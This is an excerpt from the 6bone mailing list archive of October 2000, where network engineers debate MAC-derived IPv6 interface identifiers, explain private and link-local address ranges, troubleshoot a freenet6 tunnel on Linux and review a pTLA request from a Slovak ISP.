> (which ARE going to be globally unique, just like IPv4 addresses) are
> really from the same computer. There is no equivalent to this in
> IPv4.  There is nothing even close to this in IPv4.

Understood.  But see above.  

> Since you don't understand what a globally-unique interface identifier IS
> and how it's different from a globally-unique address, you probably won't
> understand why what you describe is not particularly useful, with respect
> to easy multihoming.

Bad assumption.  As a multi-homed ISP I do understand the issues.  I just
want to drive home the point that while some may think that MAC-based
addressing is some kind of holy grail, others may feel otherwise
especially when other management issues are taken into consideration.  
The widespread adoption of MAC-based addressing has some serious hurdles
to overcome.  In the meantime, I don't see why more traditional schemes
can't continue to be used or be discouraged in favor of MAC-based
addressing.



From 6bone-owner  Sun Oct  8 13:56:15 2000
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Date: Sun, 8 Oct 2000 10:56:04 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Jonathan Guthrie <jguthrie@brokersys.com>
cc: =?ISO-8859-1?Q?Peter_H=E5kanson?= <peter@ipsec.nu>,
        Sebastien Roy <seb@strat.East.Sun.COM>,
        David Gethings <davidg@uk.uu.net>, 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
In-Reply-To: <Pine.LNX.4.05.10010080901480.2393-100000@weck.brokersys.com>
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On Sun, 8 Oct 2000, Jonathan Guthrie wrote:

> ...and you're willing to diagnose odd errors, sometimes.  (I've actually
> met people who have received two Ethernet cards with the same MAC
> address.)

Sometimes?  Try supporting tens of thousands of customers and subnets
sometime.

> > But in the long run we cannot build network infrastructure on 
> > the assumption that "linklayer technology never changes".
> 
> > Just think of ATM. It uses no IEEE adresses. One have to create
> > one, (and how do i create a unique ?) same goes for ppp links,
> > Frame-delay links, mobile UTMS phones etc.
> 
> > This is one of the design "features" of ipv6 that prevents deplayment.
> 
> I disagree.  There is absolutely nothing preventing anyone who finds the
> automatic mechanism to be too confusing from using addresses that don't
> have anything to do with IEEE anything.  They still work just fine, and

It's not confusing.  It actually makes sense if you want to take advantage
of what it offers.  But as mentioned in a previous reply "where's the
beef?"

> anyone can use them, if they choose.  What's holding back IPv6 is this:  
> No commonly-available routing equipment, no commonly-available remote
> access equipment, and no commonly-available end user software.

Ah, acceptance of reality I see.  That's a good thing :)

If you think of the adoption of IPv6 as World War II with many
hurdles/goals/missions to accomplish in order to win the war and then view
MAC-based addressing as one of those goals, you may understand why I think
MAC-based addressing might be 'A Bridge Too Far'.  Eventually we'll get
there but it may be a long long while.  

The widespread adoption of IPv6 will require its acceptance by network
service providers who are willing to integrate it into their network.
They'll take the path of least resistance and anything that adds
significant complexity or work wont be easily accepted.




From 6bone-owner  Sun Oct  8 16:27:27 2000
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From: Robert Elz <kre@munnari.OZ.AU>
To: Antonio Querubin <tony@lava.net>
Cc: 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
In-Reply-To: Your message of "Sun, 08 Oct 2000 10:30:10 -1000."
             <Pine.BSI.4.10.10010081003340.5739-100000@malasada.lava.net> 
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    Date:        Sun, 8 Oct 2000 10:30:10 -1000 (HST)
    From:        Antonio Querubin <tony@lava.net>
    Message-ID:  <Pine.BSI.4.10.10010081003340.5739-100000@malasada.lava.net>

  | Working at an ISP that has thousands of
  | customers and IP addresses to manage I see the problems in integrating
  | MAC-based addressing as outweighing the 'potential' benefits for a long
  | time to come.

If on your nets you want to use DHCP (ie: you have someone employed whose
job it is to manage such a thing, which you probably do), then IPv6 lets
you tell all the clients to use DHCP to fetch addresses (DHCPv6 that is,
as they have to ve v6 addresses fetched, obviously).

It was always known and accepted that there would be sites that would want
easy automatic address configuration, and others which prefer centralised
address management - the IPv6 specs support both.   You get to choose when
you configure your routers (and you get to choose per subnet).

  | Bad assumption.  As a multi-homed ISP I do understand the issues.  I just
  | want to drive home the point that while some may think that MAC-based
  | addressing is some kind of holy grail, others may feel otherwise
  | especially when other management issues are taken into consideration.

Yes, so what is the problem supposed to be?  No-one is forcing MAC based
IPv6 addresses upon anyone.

  | The widespread adoption of MAC-based addressing has some serious hurdles
  | to overcome.

You mean that if I choose to use MAC based addressing, it somehow creates
a problem for you?   Unless you were being forced to use MAC based addresses
(for the nets upon which you assign addresses) what's the problem?

  | In the meantime, I don't see why more traditional schemes
  | can't continue to be used or be discouraged in favor of MAC-based
  | addressing.

They can be used.   You seem to be totally unaware of just what is in the
IPv6 specs.  I'd encourage you to go read them before critisising what you
obviously don't really understand.

kre


From 6bone-owner  Mon Oct  9 02:05:12 2000
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From: =?ISO-8859-1?Q?Peter_H=E5kanson?= <peter@ipsec.nu>
To: Jonathan Guthrie <jguthrie@brokersys.com>
cc: Antonio Querubin <tony@lava.net>, Sebastien Roy <seb@strat.East.Sun.COM>,
        David Gethings <davidg@uk.uu.net>, 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
In-Reply-To: <Pine.LNX.4.05.10010080851390.2393-100000@weck.brokersys.com>
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On Sun, 8 Oct 2000, Jonathan Guthrie wrote:

> On Thu, 5 Oct 2000, Antonio Querubin wrote:
> 
> > On Thu, 5 Oct 2000, Jonathan Guthrie wrote:
>  
> > > Yes, ::1 is a perfectly fine interface identifier, and I make use but it's
> > > not a GLOBAL interface identifier.  That is, interface identifiers with
> > > the global bit set are guaranteed to be unique on the Internet.  Perhaps
> > > my terminology is incorrect, but unless I can put multiple globally-unique
> > > interface identifiers on the same box, an awful lot of the magic IPv6
> > > promises simply isn't there.
>  
%%%%% snip %%%%%%%%
> 
%%%% snip %%%%%%%
> I'm not talking about a globally unique IPv6 ADDRESS, I'm talking about a
> globally unique bottom 64 bits.  If you can guarantee that the bottom 
> 64 bits are unique, then you can tell if two different IPv6 addresses 
> (which ARE going to be globally unique, just like IPv4 addresses) are
> really from the same computer. There is no equivalent to this in
> IPv4.  There is nothing even close to this in IPv4.

Ok, now we are talking.

I'll say what noone has told openly : THERE IS NO WAY TO GUARRANTEE
A GLOBALLY UNIQUE BOTTOM 64 BITS. 

Mac addresses did not do it, i have seen ethernet boards with duplicate
addresses, i have seen boxes where the adresses comes from otger 
places, i have seen eqipment where no IEEE adresses is used at all.

How on earth could one make any assumtions that the bottom 64 bits
is unique ?  At the best one could say "they are probably unique on
this subnetwork".


> 
> > > I believe that many people will want to have multiple globally-unique
> > > interface identifiers on the same computer.  Is there a standard way of
> > > doing this?
>  
> > The most common way hosting sites assign multiple addresses is to just
> > number them sequentially.  It's pretty simple and mindless and doesn't
> > require knowledge of the ethernet address on any NIC card.  Ie. it's KISS
> > compliant :)
> 
> Since you don't understand what a globally-unique interface identifier IS
> and how it's different from a globally-unique address, you probably won't
> understand why what you describe is not particularly useful, with respect
> to easy multihoming.

It's understandable that noone understands what a "globally-unique interface
identifier IS". During the BIG-IP list days (where IPng was 
discussed), during the period where ipv6 took form, there was
a discussion about a thing called "locators". Whenever
discussion focused on locators, they were supposed to look
like "IEEE-adresses", but with other properties. Noone ever
came with a good description.

Now on top of that, IEEE is no infinite source of addresses. 
The 46 bits available is beginning to be scarce, increasing
them to 62 bits will only delay the lifetime. As opposed to
ip(4) adresses then may not be reused. What will be used
as " globally-unique interface identifiers" when we are
out of IEEE adresses ??


> -- 
> Jonathan Guthrie (jguthrie@brokersys.com)
> Brokersys  +281-580-3358   http://www.brokersys.com/
> 12703 Veterans Memorial #106, Houston, TX  77014, USA
> 
> 
> 

--
Peter Håkanson            | Melissa ? Lovletter ? Joke ? Mothers day ?
tfn 0707 328101              | Not on this mailsystem!
IPSec sverige || ipsec.nu    | It's safe by design !
Lundbystrand  Sweden         | (in contrast to some other)


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>The widespread adoption of MAC-based addressing has some serious hurdles
>to overcome.  In the meantime, I don't see why more traditional schemes
>can't continue to be used or be discouraged in favor of MAC-based
>addressing.

  I don't see why you try to make "us" believe that there is a problem?
  
  No part of the IPv6 Addressing Architecture requires the use of this MAC
  address magic. In fact the whole system is designed to work perfectly
  *without* that mechanism, including a mandatory mechanism to detect
  duplicate interface addresses within the same prefix space (as may
  happen due to manual and/or DHCP-style configuration activity ;-).
  
  There is more than one IF type around these days, which does not have a
  MAC address. Still those links can be used, even using autoconfiguration
  (e.g. serial links :-).
  
  And there is a draft which deals with security issues in using the
  MAC-address based magic. 
  
  And there is a draft that deals with ICPMv6 based revDNS functionality.

  So what. Come on, reality check, please....
  -WW
 _________________________________:_____________________________________
  Wilfried Woeber                 : e-mail: Woeber@CC.UniVie.ac.at
  UniVie Computer Center - ACOnet : Tel: +43 1 4277 - 140 33
  Universitaetsstrasse 7          : Fax: +43 1 4277 - 9 140
  A-1010 Vienna, Austria, Europe  : RIPE-DB: WW144, PGP keyID 0xF0ACB369
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 6bone-owner  Mon Oct  9 10:05:39 2000
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Subject: Re: ipv6 addressing - non-routable equivalents?
To: woeber@cc.univie.ac.at (Wilfried Woeber, UniVie/ACOnet)
Date: Mon, 9 Oct 2000 10:05:40 -0700 (PDT)
Cc: tony@lava.net, 6bone@ISI.EDU, woeber@cc.univie.ac.at
In-Reply-To: <009F158E.87275E00.10@cc.univie.ac.at> from "Wilfried Woeber, UniVie/ACOnet" at Oct 09, 2000 03:31:59 PM
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%   And there is a draft that deals with ICPMv6 based revDNS functionality.
% 
%   So what. Come on, reality check, please....
%   -WW


With or without the 20% gratutity for parties greater than 8? :)

Realistically, the ICMP based DNS stuff has certain logistical issues
when the number of nodes and/or the diameter of the topology gets "large".

--bill

From 6bone-owner  Mon Oct  9 14:31:25 2000
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From: =?ISO-8859-1?Q?Peter_H=E5kanson?= <peter@ipsec.nu>
To: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
cc: tony@lava.net, 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents?
In-Reply-To: <009F158E.87275E00.10@cc.univie.ac.at>
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On Mon, 9 Oct 2000, Wilfried Woeber, UniVie/ACOnet wrote:

> >The widespread adoption of MAC-based addressing has some serious hurdles
> >to overcome.  In the meantime, I don't see why more traditional schemes
> >can't continue to be used or be discouraged in favor of MAC-based
> >addressing.
> 
>   I don't see why you try to make "us" believe that there is a problem?
>   
>   No part of the IPv6 Addressing Architecture requires the use of this MAC
>   address magic. In fact the whole system is designed to work perfectly
>   *without* that mechanism, including a mandatory mechanism to detect
>   duplicate interface addresses within the same prefix space (as may
>   happen due to manual and/or DHCP-style configuration activity ;-).

without the "MAC address macic" we could use 64 bit addresses. Just to mention 
one difference.


>   
>   There is more than one IF type around these days, which does not have a
>   MAC address. Still those links can be used, even using autoconfiguration
>   (e.g. serial links :-).
>   
>   And there is a draft which deals with security issues in using the
>   MAC-address based magic. 
>   
>   And there is a draft that deals with ICPMv6 based revDNS functionality.
> 
>   So what. Come on, reality check, please....

the reality is that MAC addresses is the exception ...

>   -WW
>  _________________________________:_____________________________________
>   Wilfried Woeber                 : e-mail: Woeber@CC.UniVie.ac.at
>   UniVie Computer Center - ACOnet : Tel: +43 1 4277 - 140 33
>   Universitaetsstrasse 7          : Fax: +43 1 4277 - 9 140
>   A-1010 Vienna, Austria, Europe  : RIPE-DB: WW144, PGP keyID 0xF0ACB369
>  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 

--
Peter Håkanson            | Melissa ? Lovletter ? Joke ? Mothers day ?
tfn 0707 328101              | Not on this mailsystem!
IPSec sverige || ipsec.nu    | It's safe by design !
Lundbystrand  Sweden         | (in contrast to some other)


From 6bone-owner  Mon Oct  9 15:37:51 2000
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From: Robert Elz <kre@munnari.OZ.AU>
To: =?ISO-8859-1?Q?Peter_H=E5kanson?= <peter@ipsec.nu>
Cc: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>, tony@lava.net,
        6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
In-Reply-To: Your message of "Mon, 09 Oct 2000 23:31:12 +0200."
             <Pine.BSO.4.10.10010092329530.31634-100000@ipsec.nu> 
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    Date:        Mon, 9 Oct 2000 23:31:12 +0200 (CEST)
    From:        =?ISO-8859-1?Q?Peter_H=E5kanson?= <peter@ipsec.nu>
    Message-ID:  <Pine.BSO.4.10.10010092329530.31634-100000@ipsec.nu>

  | without the "MAC address macic" we could use 64 bit addresses. Just to
  | mention one difference.

Only if no-one was allowed to use the "MAC address magic" way of easy
configuration.

And even then, using 64 bit addresses would cut the effective address space
by 8-12 (maybe even 16) bits (ie: now we probably have an effective address
space of something between 72 and 80 bits, assuming that the vast majority
of the low 64 won't be doing much productive), and there are plenty of people
who believe that the addresses we have are likely to become too small.  I am
pretty sure they're wrong, and even a (more tightly controlled perhaps) 64
bit address space would be adequate, but ...

And in any case, this discussion was all held, and finally resolved, more
than 5 years ago.  Attempting to start it all again now helps no-one.  There
are getting to be a lot of IPv6 implementations around now, they are not all
going to change without a very good reason.

kre


From 6bone-owner  Mon Oct  9 15:41:18 2000
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From: Robert Elz <kre@munnari.OZ.AU>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
In-Reply-To: Your message of "Mon, 09 Oct 2000 10:05:40 PDT."
             <200010091705.KAA28916@zed.isi.edu> 
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    Date:        Mon, 9 Oct 2000 10:05:40 -0700 (PDT)
    From:        Bill Manning <bmanning@ISI.EDU>
    Message-ID:  <200010091705.KAA28916@zed.isi.edu>

  | Realistically, the ICMP based DNS stuff has certain logistical issues
  | when the number of nodes and/or the diameter of the topology gets "large".

Provided that the actual lookups are done by something that caches the
answers (positive and negative) and returns future answers from the cache,
there really shouldn't be much difference between ICMP address->name
translation and DNS name->address translation.   As it is most in-addr.arpa
(or ip6.int or ip6.arpa) servers live right near the net that is being
translated - the net traffic to get an answer isn't going to be appreciably
different either way.

kre


From 6bone-owner  Tue Oct 10 15:55:33 2000
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Hi,

         Please forgive me if I sound naive or misunderstood some posts. 
But there was a thread going on about reserve IPv6 address such as Private 
Network addresses of IPv4 (ie 10.0.0.0). My understanding of the threads 
was that there were no reserved IP addresses (one reason why I haven't gone 
on 6bone yet). Now, while reading about IPv6 I have read the contrary that 
1111 1110 10 (12 bits) 0 (52 bits) 64 bit unique ID (64 bits) (this was 
taken from Routing in the Internet 2nd Ed. By Christian Huitema). Who's 
right and or where did I go astray in my misunderstanding.

Thank you,

Geoffrey Phillips
508-795-6841

http://www.clarkie.cc/
geoff_phillips@acm.org (Professional)
gphillips@clarkie.net (Professional)
resume at: http://www.clarkie.net/


From 6bone-owner  Tue Oct 10 19:30:46 2000
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From: "Li Hong" <jeff@muzi.com>
To: 6bone@ISI.EDU
Date: Wed, 11 Oct 2000 10:30:39 +0800
Subject: IPV6 client-server through freenet6
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Hi, 

   Is it possible to build IPv6 client and IPv6 server socket program through freenet6? Anyone know some good reference on this? Thanks.

   Hong

   
-- 
_______________________________________________
Get your free email from http://mail.muzi.com
Powered by Outblaze

From 6bone-owner  Wed Oct 11 01:12:20 2000
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From: Daniel Richards <kyhwana@world-net.co.nz>
Reply-To: kyhwana@world-net.co.nz
To: 6bone@ISI.EDU
Subject: Re: IPV6 client-server through freenet6
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On Wed, 11 Oct 2000, Li Hong wrote:
> Hi, 
> 
>    Is it possible to build IPv6 client and IPv6 server socket program through freenet6? Anyone know some good reference on this? Thanks.
Im not exactly sure what you mean, but I assume you mean a server/client of
some sort, that can use IPv6? There are already a bunch of servers/clients
(like apache + ipv6 and so on) that will do IPv6, all that needs to be done is
to have them recognise IPv6 addresses and such, since the IPv6 stack should
take care of routing/etc.
Freenet6 is just a tunnel service, so that you can auctally USE the
client/servers on the ipv6 network.
Oh, I dont suppose anyone knows what happened to eu.irc6.net?


-- 
http://shell.world-net.co.nz/~kyhwana/decss/ - Kyh's DeCSS stuff
http://shell.world-net.co.nz/~kyhwana/DRpubkey.txt
"'Oh dear,' says God, 'I hadn't thought of that,' and promptly vanishes in a puff of
logic."

From 6bone-owner  Wed Oct 11 02:02:11 2000
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From: "Kontogianni Vicky" <kontogia@cti.gr>
To: <6bone@ISI.EDU>
Subject: Squid on Solaris2.8
Date: Wed, 11 Oct 2000 11:53:40 +0300
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Hello everybody,

has anybody tried to compile Squid 1.1.22 + KAME patch
(squid-1.1.22-v6-20000823.diff) on a SPARC Solaris 2.8 System succesfully? I
get errors during the make process...

Thanks in advance for the answers,


Vicky Kontogianni
Network Technologies Sector
Computer Technology Institute
Patras - GREECE

Tel. +30 61  960377
e-mail: kontogia@cti.gr


From 6bone-owner  Wed Oct 11 03:42:54 2000
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From: "Steinar H. Gunderson" <sgunderson@bigfoot.com>
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On Wed, Oct 11, 2000 at 11:53:40AM +0300, Kontogianni Vicky wrote:
>has anybody tried to compile Squid 1.1.22 + KAME patch
>(squid-1.1.22-v6-20000823.diff) on a SPARC Solaris 2.8 System succesfully? I
>get errors during the make process...

Why Squid 1.1? That is ANCIENT -- the latest (stable) Squid version is
2.3STABLE4, if I remember correctly...

/* Steinar */

From 6bone-owner  Wed Oct 11 03:49:18 2000
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From: "Peter Curran" <pcurran@ticl.co.uk>
To: "Geoff" <gphillips@clarkie.net>
Cc: "6bone mail list" <6bone@ISI.EDU>
References: <5.0.0.25.0.20001010184649.009f3b50@127.0.0.1>
Subject: Re: Private network
Date: Wed, 11 Oct 2000 11:47:34 +0100
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Geoff

There are three types of Unicast address in IPv6:
Link-local:  (fe80::/64):  These are only valid across the link (physical
network) to which you are attached.  They cannot be routed and are normally
assigned automatically during autoconfiguration.

Site-local: (fec0::/64):  These are only valid within a single organisation
(which could span multiple sites).  They are routable addresses, but contain
no public routing information and so cannot be routed across the Internet.
They are equivalent to the RFC1918 address range (network 10, etc) in terms
of the way they are intended to be used - they are private addresses.

Global:  These are assigned and managed by regional and local internet
registries (ISPs) and contain public routing information - so they work on
the Internet.  They are designed so that the 16-bit space assigned for
routing within an organisation's network (the SLA field) corresponds with
the equivalent field (Subnet ID) within the site-local address.  This means
that a site could use both site-local and global addressing and maintain the
same internal routing structure.

The wisdom of using both global and site local addresses has been questioned
many times on the IPNG list.  There are clearly 'gotchas' to using
site-local addresses in this way.

I hope this clears up the confusion over what addresses exist and what they
are for.  You should really check out RFC2460 for the details.

I am not clear why you think the existence or otherwise of site-local
addresses effects your ability to connect to the 6bone.  You need a single
global IPv4 address.  Contact one for the tunnel brokers (I suggest
freenet6), supply your data and you will be assigned a global IPv6 prefix
for your network.  Thats it!

Cheers

Peter


----- Original Message -----
From: "Geoff" <gphillips@clarkie.net>
To: <6bone@ISI.EDU>
Sent: Tuesday, October 10, 2000 11:54 PM
Subject: Private network


> Hi,
>
>          Please forgive me if I sound naive or misunderstood some posts.
> But there was a thread going on about reserve IPv6 address such as Private
> Network addresses of IPv4 (ie 10.0.0.0). My understanding of the threads
> was that there were no reserved IP addresses (one reason why I haven't
gone
> on 6bone yet). Now, while reading about IPv6 I have read the contrary that
> 1111 1110 10 (12 bits) 0 (52 bits) 64 bit unique ID (64 bits) (this was
> taken from Routing in the Internet 2nd Ed. By Christian Huitema). Who's
> right and or where did I go astray in my misunderstanding.
>
> Thank you,
>
> Geoffrey Phillips
> 508-795-6841
>
> http://www.clarkie.cc/
> geoff_phillips@acm.org (Professional)
> gphillips@clarkie.net (Professional)
> resume at: http://www.clarkie.net/
>
>


From 6bone-owner  Wed Oct 11 04:31:15 2000
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Hi!
I'm having some trouble setting up and v6 tunnel against freenet6,
I'm running Linux (debian)... If anyone have some ideas/hints, let me hear
it =)

commands i enter:
echo 0 >/proc/sys/net/ipv6/conf/all/autoconf
echo 0 >/proc/sys/net/ipv6/conf/all/accept_ra
echo 0 >/proc/sys/net/ipv6/conf/all/accept_redirects
echo 0 >/proc/sys/net/ipv6/conf/all/router_solicitations
echo 1 >/proc/sys/net/ipv6/conf/all/forwarding
echo 1 >/proc/sys/net/ipv4/conf/all/forwarding
ifconfig sit0 up
ifconfig eth0 add 3ffe:b00:c18:1fff:0:0:0:139
ifconfig sit0 tunnel ::206.123.31.102
ifconfig sit1 up
route -A inet6 add ::0/ gw fe80::206.123.31.102 dev sit1


after this I ping6 fe80::206.123.31.102, and in tcpdump i see:
14:34:21.961782  fe80::260:8ff:fe79:c9f5 > ff02::1:ff7b:1f66 icmpv6: neigh sol
My hw address is 00:60:08:79:C9:F5.

When i traceroute6 to www.kame.net
(3ffe:501:4819:2000:5054:ff:fedc:50d2) I see:

14:36:32.719868 192.71.82.210 > 206.123.31.102: v6-in-v4
                 3ffe:b00:c18:1fff::139 >
3ffe:501:4819:2000:5054:ff:fedc:50d2 3ffe:b00:c18:1fff::139.1024 >
3ffe:501:4819:2000:5054:ff:fedc:50d2.33434: udp 16
(DF)

Any obvious faults I've done?

//N


From 6bone-owner  Wed Oct 11 04:41:14 2000
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From: David Gethings <davidg@uk.uu.net>
To: Jonathan Guthrie <jguthrie@brokersys.com>
cc: 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents?
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> 
> I presume the "8 bits" is part of a brain fog as 64-48 is 16, not 8.
> 
> My reading of rfc2373 (which can be retrieved from
> ftp://ftp.isi.edu/in-notes/rfc2373.txt, if you have a mind to read it) is
> that those 16 bits (which are inserted starting at bit 24) are required to
> be 0xfffe.
> 
> I don't want to speak ill of the standards process as it's tough enough to
> accomplish as it is, but didn't anybody consider the fact that people are
> going to want to use address-based virtual hosting when designing this
> scheme, or am I missing something?
> -- 
Hi John,

You're quite right, appendix A of rfc2372 does specify that the "spare" 16
bits should be set to 0xffe.

Next time I comment on a public list like this I'll make sure it isn't
4am and I not trying to also console a crying baby in my arms!

Dave



From 6bone-owner  Wed Oct 11 05:37:36 2000
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Kontogianni Vicky wrote:
> 
> Hello everybody,
> 
> has anybody tried to compile Squid 1.1.22 + KAME patch
> (squid-1.1.22-v6-20000823.diff) on a SPARC Solaris 2.8 System succesfully? I
> get errors during the make process...
> 

it could be interesting for testing purposes, but as squid-2.3 is
current release, I would not recommend anyone to use very old
version....

toomas
-- 
Silence is the element in which great things fashion themselves.
		-- Thomas Carlyle

From 6bone-owner  Wed Oct 11 10:34:21 2000
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To: "Peter Curran" <pcurran@ticl.co.uk>
From: Geoff <gphillips@clarkie.net>
Subject: Re: Private network
Cc: "6bone mail list" <6bone@ISI.EDU>
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At 11:47 AM 10/11/00 +0100, Peter Curran wrote:

<SNIP>
>I hope this clears up the confusion over what addresses exist and what they
>are for.  You should really check out RFC2460 for the details.

         Yes, that did clear things up. Thank you.

Geoffrey Phillips
508-795-6841

http://www.clarkie.cc/
geoff_phillips@acm.org (Professional)
gphillips@clarkie.net (Professional)
resume at: http://www.clarkie.net/


From 6bone-owner  Wed Oct 11 20:44:28 2000
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Date: Thu, 12 Oct 2000 10:58:4 +0800
From: Tu hao <htu@hustcc.whnet.edu.cn>
To: "6bone@isi.edu" <6bone@ISI.EDU>
Subject: want to know the latest research about IPv6
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Hi,

    I want to know the lastest research work about  IPv6 ,who can tell me something about it ,or where can find .

Thank you,
         
Tu hao
htu@hustcc.whnet.edu.cn


From 6bone-owner  Wed Oct 11 23:44:04 2000
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From: "Kontogianni Vicky" <kontogia@cti.gr>
To: "'Toomas Soome'" <tsoome@ut.ee>
Cc: <6bone@ISI.EDU>
Subject: RE: Squid on Solaris2.8
Date: Thu, 12 Oct 2000 09:44:09 +0300
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You are right,but it seems that the patch applies to this very old
version...Does the earliest version of Squid support IPv6???

Vicky.

> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On
> Behalf Of Toomas Soome
> Sent: Wednesday, October 11, 2000 3:38 PM
> To: 6bone@ISI.EDU
> Subject: Re: Squid on Solaris2.8
>
>
> Kontogianni Vicky wrote:
> >
> > Hello everybody,
> >
> > has anybody tried to compile Squid 1.1.22 + KAME patch
> > (squid-1.1.22-v6-20000823.diff) on a SPARC Solaris 2.8
> System succesfully? I
> > get errors during the make process...
> >
>
> it could be interesting for testing purposes, but as squid-2.3 is
> current release, I would not recommend anyone to use very old
> version....
>
> toomas
> --
> Silence is the element in which great things fashion themselves.
> 		-- Thomas Carlyle


From 6bone-owner  Wed Oct 11 23:51:06 2000
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On Thu, 12 Oct 2000, Kontogianni Vicky wrote:

> You are right,but it seems that the patch applies to this very old
> version...Does the earliest version of Squid support IPv6???

I'm afraid... no. I asked the squid developers about ipv6 support, but the
answer was something like 'sure, we are happy to have ipv6 support, but
just now there is no support for ipv6'. and ipv6 port will require some
amount of time - I can't afford this time just now:(

toomas
-- 
Champagne don't make me lazy.  Cocaine don't drive me crazy.
Ain't nobody's business but my own.
		-- Taj Mahal


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On Wed, 11 Oct 2000 11:22:48 +0000 (GMT)
Niklas Höglund <Niklas@hoglund.pp.se> wrote:

> Hi!
> I'm having some trouble setting up and v6 tunnel against freenet6,
> I'm running Linux (debian)... If anyone have some ideas/hints, let me hear
> it =)

Hmmm...when "forwarding" is on, Linux ignore default route(::/0)
It means Linux using as a router must have full route!! ;-(
So, you'll need to input following commands...

# ifconfig sit0 up
# ifconfig eth0 add 3ffe:b00:c18:1fff:0:0:0:139
# ifconfig sit0 tunnel ::206.123.31.102
# ifconfig sit1 up
# route -A inet6 add 3ffe::0/16 gw fe80::206.123.31.102 dev sit1
# route -A inet6 add 3ffe::0/16 gw ::206.123.31.102 dev sit0
# route -A inet6 add 2000::0/12 gw fe80::206.123.31.102 dev sit1
# route -A inet6 add 2000::0/12 gw ::206.123.31.102 dev sit0

Of course, I think it's nothing but a workaround...

---------------------------------------------
MITSUBISHI ELECTRIC INFORMATION
NETWORK CORPORATION
KUNITAKE Koichi <kunitake@tyo.mind.co.jp>
---------------------------------------------

From 6bone-owner  Thu Oct 12 07:26:13 2000
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From: Jason Bogin <jason@jax-inc.com>
To: "'Tu hao '" <htu@hustcc.whnet.edu.cn>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: want to know the latest research about IPv6
Date: Thu, 12 Oct 2000 10:27:03 -0400
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Tu,

I did some research at the University of North Florida in December of 1999.
Go to http://www.jax-inc.com/ipv6

thanks, Jason


-----Original Message-----
From: Tu hao
To: 6bone@isi.edu
Sent: 10/11/00 1:00 PM
Subject: want to know the latest research about IPv6

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From 6bone-owner  Thu Oct 12 16:28:32 2000
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Date: Thu, 12 Oct 2000 16:28:37 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA request from NEXTRA/SVSBB - close 26Oct00
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6bone folk:

The IPv6-site SVSBB is asking for a pTLA on behalf of NEXTRA, an ISP in 
Slovakia.

This open review period will end 26 October. Comments to me or the list please.


Thanks,

Bob

===
>From: Jan Oravec <wsx@svsbb.sk>
>Subject: Re: request for 6bone pTLA
>To: fink@es.net (Bob Fink)
>Date: Fri, 13 Oct 2000 00:04:50 +0200 (CEST)
>
> > You need to to look at section 7 of RFC2772:
> >
> > <http://www.ietf.org/rfc/rfc2772.txt>
>
>here are my comments to each subsections:
>
>1a) my ipv6-site is called SVSBB, as short for School Computing Centre in
>     Slovak language. inet6num is now 3ffe:2280:8::/48 (provided by STUBA)
>     mnter and person objects seems to be ok... it was very good for getting
>     experience with BGP and IPv6..
>1b) one month ago i switched to BGP4+ routing, it seems to work fine... i
>     have now BGP4+ connectivity to STUBA, INTOUCH-NL, EURONET-BE and also to
>     ASH-DE. last one isn't working because they were announcing my /48 zone
>     so i turned it off because it's not valid to do that... router for pTLA
>     zone will be located in backbone of NEXTRA, it will be probably some
>     kind of cisco or OpenBSD machine. BGP peering will be made with STUBA:
>
>  1  gww.ba.nextra.sk (195.168.1.1)  0.727 ms  0.465 ms  0.648 ms
>  2  gwsix.nextra.sk (195.168.55.42)  1.015 ms  1.836 ms  1.902 ms
>  3  Sanet-gw.six.sk (192.108.148.10)  1.586 ms  1.666 ms  3.123 ms
>  4  peon.cvt.stuba.sk (147.175.1.16)  1.227 ms  0.994 ms  1.439 ms
>
>     and INTOUCH-NL:
>  1  gww.ba.nextra.sk (195.168.1.1)  0.674 ms  0.428 ms  0.425 ms
>  2  nb12b01-fe1-0-0.nb.telenor.net (148.122.66.25)  1.314 ms  1.017 
> ms  1.192 ms
>  3  nb13b01-s1-1-0.nb.telenor.net (148.122.65.105)  53.553 ms  54.615 
> ms  150.261 ms
>  4  nb08b01-s0-0-1.nb.telenor.net (148.122.65.77)  53.837 ms  53.339 
> ms  55.829 ms
>  5  nb06b01-s5-0-0.nb.telenor.net (148.122.65.90)  55.333 ms  53.782 
> ms  55.787 ms
>  6  ams-ix.intouch.net (193.148.15.93)  53.962 ms  55.675 ms  55.471 ms
>  7  ipv6-nikhef.intouch.net (212.19.192.218)  56.273 ms *  55.074 ms
>
>     and we will ask another pTLA's for peering..
>
>     backup router will be in SVSBB which is end-site of different ISP and
>     all clients will be offered also backup connection..
>
>     in this time, NEXTRA is fastest ISP in Slovakia..
>     they have 155 Mbps to Prague, another 155 Mbps to Wien and 34 Mbps to
>     SIX - Slovak Internet eXchange - peering center..
>
>1c) DNS seems to be working fine... i have now 2 reverse nameservers..
>     reverse DNS of pTLA will be runned on ns.wilbury.sk and
>     ns[1,2,3].wilbury.sk and probably also on ns.nextra.sk
>
>1d) we have site http://www.6bone.sk which is now in Slovak language... the
>     problem is only that it's not running on ipv6, but it will be done as
>     soon as possible
>
>2a) members of support staff:
>      Jan Oravec   - wsx@svsbb.sk
>      Juraj Lutter - otis@wilbury.sk, juraj.lutter@in.nextra.sk
>     there will be probably next one, we are now looking who have enough
>     knowledge about BGP and routing.. we have enough time for it at this
>     time...
>
>2b) it's already created... 6bone@svsbb.sk, probably will change to
>     6bone@6bone.sk.. it's forwarding to me and Juraj Lutter...
>     maybe some mailing list would be good idea..
>
>3)  there is already 10 servers connected each at least 2 users... we are
